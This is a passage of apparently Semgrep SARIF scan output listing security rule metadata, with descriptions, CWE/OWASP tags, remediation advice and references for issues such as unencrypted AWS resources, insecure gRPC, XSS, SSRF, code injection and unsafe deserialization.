encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"help":{"markdown":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Athena Workgroup is unencrypted. Encryption protects query results in your workgroup. To enable, add: `encryption_configuration { encryption_option = \"SSE_KMS\" kms_key_arn =  aws_kms_key.example.arn }` within `result_configuration { }` in your resource block,  where `encryption_option` is your chosen encryption method and `kms_key_arn`  is your KMS key ARN."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","id":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","name":"terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.missing-athena-workgroup-encryption.missing-athena-workgroup-encryption"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"help":{"markdown":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection)\n - [https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption](https://blog.gopheracademy.com/advent-2019/go-grps-and-tls/#connection-without-encryption)\n","text":"Found an insecure gRPC server without 'grpc.Creds()' or options with credentials. This allows for a connection without encryption to this server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Include credentials derived from an SSL certificate in order to create a secure gRPC connection. You can create credentials using 'credentials.NewServerTLSFromFile(\"cert.pem\", \"cert.key\")'."},"helpUri":"https://semgrep.dev/r/go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","id":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","name":"go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection","properties":{"precision":"very-high","tags":["CWE-300: Channel Accessible by Non-Endpoint","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.security.grpc-server-insecure-connection.grpc-server-insecure-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"help":{"markdown":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"https://find-sec-bugs.github.io/bugs.htm#PERMISSIVE_CORS Permissive CORS policy will allow a malicious application to communicate with the victim application in an inappropriate way, leading to spoofing, data theft, relay and other attacks."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.permissive-cors.permissive-cors","id":"java.lang.security.audit.permissive-cors.permissive-cors","name":"java.lang.security.audit.permissive-cors.permissive-cors","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.permissive-cors.permissive-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"help":{"markdown":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found data going from url query parameters into formatted data written to ResponseWriter. This could be XSS and should not be done. If you must do this, ensure your data is sanitized or escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","id":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","name":"go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.wip-xss-using-responsewriter-and-printf.wip-xss-using-responsewriter-and-printf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"help":{"markdown":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag)\n - [https://github.com/golang/go/issues/19669](https://github.com/golang/go/issues/19669)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in an HTML tag. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over HTML but without the need to use escaped characters. Use explicit tags instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","id":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","name":"go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-in-tag.no-interpolation-in-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'ftp://'. This request will not be encrypted. Use SFTP instead. urllib does not support SFTP, so consider switching to a library which supports SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve-ftp.insecure-urlretrieve-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"help":{"markdown":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval)\n - [https://www.php.net/manual/en/function.mb-ereg-replace.php](https://www.php.net/manual/en/function.mb-ereg-replace.php)\n - [https://www.php.net/manual/en/function.mb-regex-set-options.php](https://www.php.net/manual/en/function.mb-regex-set-options.php)\n","text":"Calling mb_ereg_replace with user input in the options can lead to arbitrary code execution. The eval modifier (`e`) evaluates the replacement argument as code."},"helpUri":"https://semgrep.dev/r/php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","id":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","name":"php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.mb-ereg-replace-eval.mb-ereg-replace-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"help":{"markdown":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/](https://cloudsplaining.readthedocs.io/en/latest/glossary/privilege-escalation/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPrivilegeEscalation.py)\n","text":"Ensure that IAM policies with permissions on other users don't allow for privilege escalation. This can lead to an attacker gaining full administrator access of AWS accounts. Instead, specify which user the permission should be used on or do not use the listed actions. $RESOURCE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","id":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","name":"terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-priv-esc-other-users.no-iam-priv-esc-other-users"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Google OAuth Access Token detected"},"help":{"markdown":"Google OAuth Access Token detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Google OAuth Access Token detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","id":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","name":"generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-google-oauth-access-token.detected-google-oauth-access-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","id":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","name":"java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.sql.drivermanager-hardcoded-secret.drivermanager-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.code-injection.compile-taint.compile-taint","id":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","name":"csharp.dotnet-core.code-injection.compile-taint.compile-taint","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.code-injection.compile-taint.compile-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"help":{"markdown":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to store keychain items with the synchronization type `kSecAttrSynchronizableAny` meaning that the data will be synced to all of the users other authenticated iOS, iPadOS, and MacOS devices. Unless necessary, the application should avoid over-distribution of sensitive data, as this increases the attack surface for which an attacker may gain access to the data. "},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-sync.keychain-device-sync","id":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","name":"swift.biometrics-and-auth.keychain-sync.keychain-device-sync","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-sync.keychain-device-sync"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"help":{"markdown":"Unsafe functions do not perform boundary checks or have other side effects, use with care.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe)\n - [https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get](https://v2.ocaml.org/api/Bigarray.Array1.html#VALunsafe_get)\n - [https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string](https://v2.ocaml.org/api/Bytes.html#VALunsafe_to_string)\n","text":"Unsafe functions do not perform boundary checks or have other side effects, use with care."},"helpUri":"https://semgrep.dev/r/ocaml.lang.security.unsafe.ocamllint-unsafe","id":"ocaml.lang.security.unsafe.ocamllint-unsafe","name":"ocaml.lang.security.unsafe.ocamllint-unsafe","properties":{"precision":"very-high","tags":["CWE-242: Use of Inherently Dangerous Function (4.12)","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.security.unsafe.ocamllint-unsafe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS SecretManager secrets are encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your secrets in the Secret Manager. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","id":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","name":"terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-secretsmanager-secret-unencrypted.aws-secretsmanager-secret-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://yaml.readthedocs.io/en/latest/api/](https://yaml.readthedocs.io/en/latest/api/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `ruamel.yaml` library is a YAML parser that is as powerful as `pickle`, using it to parse untrusted data can lead to object deserialization vulnerabilities. Starting from `ruamel.yaml` version 0.15.0 the default loader (`typ='rt'`) is a direct derivative of the safe loader and so this parser is secure by default. If the usage of an unsafe loader is intentional, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly specify `typ='unsafe'`, to use a safe loader. Before version 0.15.0, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-ruamel.tainted-ruamel","id":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","name":"python.lang.deserialization.tainted-ruamel.tainted-ruamel","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-ruamel.tainted-ruamel"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"help":{"markdown":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath)\n - [https://kubernetes.io/docs/concepts/storage/volumes/#hostpath](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#volumes-and-file-systems)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-1-do-not-expose-the-docker-daemon-socket-even-to-the-containers)\n","text":"Exposing host's Docker socket to containers via a volume. The owner of this socket is root. Giving someone access to it is equivalent to giving unrestricted root access to your host. Remove 'docker.sock' from hostpath to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","id":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","name":"yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath","properties":{"precision":"very-high","tags":["CWE-250: Execution with Unnecessary Privileges","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.exposing-docker-socket-hostpath.exposing-docker-socket-hostpath"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","id":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","name":"java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.httpclient-taint-concat-sls.httpclient-taint-concat-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS 